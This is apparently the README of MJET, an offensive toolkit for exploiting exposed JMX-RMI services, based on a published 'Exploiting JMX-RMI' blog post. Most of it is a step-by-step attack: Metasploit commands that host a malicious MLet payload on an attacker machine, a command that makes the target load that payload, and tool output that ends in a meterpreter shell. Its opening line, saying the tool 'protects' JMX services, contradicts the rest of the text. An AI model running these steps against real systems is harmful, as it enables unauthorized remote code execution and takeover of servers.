Mogwai Security Java Management Extensions (JMX) Exploitation Toolkit
mjet is a tool that can be used to protect insecure configured JMX services. It is based on the blog post "Exploiting JMX-RMI" from Braden Thomas/Accuvant "http://www.accuvant.com/blog/exploiting-jmx-rmi" and can be used to execute arbitrary Metasploit payloads on the target system.
Mjet was originally planned to be a complete attack toolkit, however we noticed that the Metasploit Github repository contains a pull request which will provide basic Java RMI/serialization support in native ruby. This is awesome and removes the Java dependency. So we stopped developing this tool and create metasploit modules in the near future.
mjet consists of the following parts:
The example uses following systems: attacker: 192.168.178.1 target: 192.168.178.200, JMX service running on tcp port 1616
msf > use exploit/multi/misc/java_mlet_server
msf > set LHOST 192.168.178.1
msf > set SRVHOST 192.168.178.1
msf > set URIPATH /mlet/
msf > run
Use mjet.jar to connect to the vulnerable JMX service and provide the URL to the MLet Web server...
java -jar mjet.jar -t 192.168.178.200 -p 1616 -u http://192.168.178.1:8080/mlet/
---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------
[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ...
[+] Connected: rmi://192.168.178.164 5
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.178.1:8080/mlet/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE
[+] Invoking: metasploit.Metasploit.run()
[+] Done
and enjoy your meterpreter shell :-)